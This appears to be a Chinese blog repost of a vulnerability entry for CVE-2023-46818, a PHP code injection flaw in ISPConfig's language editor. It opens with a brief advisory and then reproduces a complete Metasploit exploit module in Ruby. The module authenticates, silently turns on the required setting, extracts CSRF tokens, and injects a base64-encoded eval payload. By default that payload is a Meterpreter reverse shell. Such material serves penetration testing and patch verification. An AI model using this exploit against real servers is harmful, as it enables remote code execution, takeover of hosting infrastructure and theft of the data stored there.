ISPConfig language_editphp PHP代码注入漏洞

漏洞信息

漏洞名称: ISPConfig language_edit.php PHP代码注入漏洞

漏洞编号:

  • CVE: CVE-2023-46818

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: ISPConfig是一个流行的开源主机控制面板,用于管理网站、电子邮件、数据库等。它广泛应用于企业和个人网站管理中,提供了一个用户友好的界面来配置和管理服务器资源。该漏洞存在于ISPConfig的language_edit.php文件中,当admin_allow_langedit设置被启用时,认证的管理员可以通过语言编辑器界面注入任意PHP代码。这种漏洞的技术根源在于对用户输入的不当验证,允许攻击者通过构造特定的请求来执行恶意代码。这种漏洞的利用可能导致远程代码执行,攻击者可以在服务器上执行任意命令,从而可能导致数据泄露、服务中断或其他恶意活动。由于需要管理员凭证才能利用此漏洞,因此其利用门槛相对较高,但一旦被利用,其影响范围广泛且后果严重。

产品厂商: ISPConfig

产品名称: ISPConfig

影响版本: version < 3.2.11p1

来源: https://github.com/rapid7/metasploit-framework/blob/1700b2eaaa96f66707ccb7c9665763e2c569a2b9/modules%2Fexploits%2Flinux%2Fhttp%2Fispconfig_lang_edit_php_code_injection.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability in ISPConfig's
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
setting is enabled, allowing authenticated administrators to inject arbitrary
PHP code through the language editor interface.

This module will automatically check if the required `admin_allow_langedit`
permission is enabled, and attempt to enable it if it's disabled (requires
admin credentials with system configuration access).

The exploit works by injecting a PHP payload into a language file, which
is then executed when the file is accessed. The payload is base64 encoded
and written using PHP's file_put_contents function.
},
'License' => MSF_LICENSE,
'Author' => [
'syfi', # Discovery and PoC
'Egidio Romano'
],
'References' => [
['CVE', '2023-46818'],
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'Automatic PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-10-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
])
end

def check
print_status('Checking if the target is ISPConfig...')
return CheckCode::Unknown('Failed to login') unless authenticate

# Always try to log in and parse version, since credentials are required
# cookie_jar.clear (handled in exploit)
# Try to access the dashboard or settings page
settings_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
'keep_cookies' => true
})
if settings_res
doc = settings_res.get_html_document
# Try to find version in a span, div, or similar element
version_element = doc.at('//p[@class="frmTextHead"]')
if version_element
version_text = version_element.text
version = version_text.split(':')[1].gsub(' ', '')
version = Rex::Version.new(version)
if version < Rex::Version.new('3.2.11p1')
print_good("ISPConfig version detected: #{version_text}")
return CheckCode::Appears("Version: #{version_text}")
end
end
end
CheckCode::Safe
end

def authenticate
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
's_mod' => 'login'
},
'keep_cookies' => true
})
return false unless res

if res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
})
end
body_downcase = res.body.downcase.freeze
return false if body_downcase.include?('username or password wrong')

if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
print_good('Login successful!')
return true
end
print_warning('Login status unclear, attempting to continue...')
true
end

def check_langedit_permission
print_status('Checking if admin_allow_langedit is enabled...')

# Try to access the language editor to see if it's accessible
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => edit_url,
'keep_cookies' => true
})

if res&.code == 200 && res.body.include?('language_edit')
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
return true
elsif res&.code == 403
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
return false
else
print_warning('Could not determine language editor accessibility')
return false
end
end

def enable_langedit_permission
print_status('Attempting to enable admin_allow_langedit...')

# Try to access the system settings page
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => settings_url,
'keep_cookies' => true
})

unless res && res.code == 200
print_warning('Could not access system configuration page')
return false
end

doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')

unless csrf_id && csrf_key
print_warning('Could not extract CSRF tokens from system config page')
return false
end

# Try to enable the setting
enable_data = {
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'admin_allow_langedit' => '1',
'action' => 'save'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => settings_url,
'vars_post' => enable_data,
'keep_cookies' => true
})

if res && res.code == 200
print_good('Successfully enabled admin_allow_langedit')
return true
else
print_warning('Failed to enable admin_allow_langedit')
return false
end
end

def inject_payload
print_status('Injecting PHP payload...')
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
b64_payload = Base64.strict_encode64(payload.encoded)
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
initial_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => initial_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
end
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
injection_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file,
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'records[\]' => injection
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => injection_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
payload_url = normalize_uri(target_uri.path, 'admin', @payload_file)
print_good("Payload successfully injected: #{@payload_file}")
return payload_url
end

def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate

# Check if language editor permissions are enabled
unless check_langedit_permission
print_warning('admin_allow_langedit appears to be disabled')
print_status('Attempting to enable admin_allow_langedit...')

if enable_langedit_permission
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
# Re-check permissions after enabling
unless check_langedit_permission
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
end
else
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
end
end

payload_url = inject_payload
print_status('Starting payload handler...')
print_status('Manual trigger information:')
print_line("URL: #{full_uri}#{payload_url}")
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
end
end



ISPConfig language_editphp PHP代码注入漏洞
http://example.com/2025/07/08/github_2516877191/
作者
lianccc
发布于
2025年7月8日
许可协议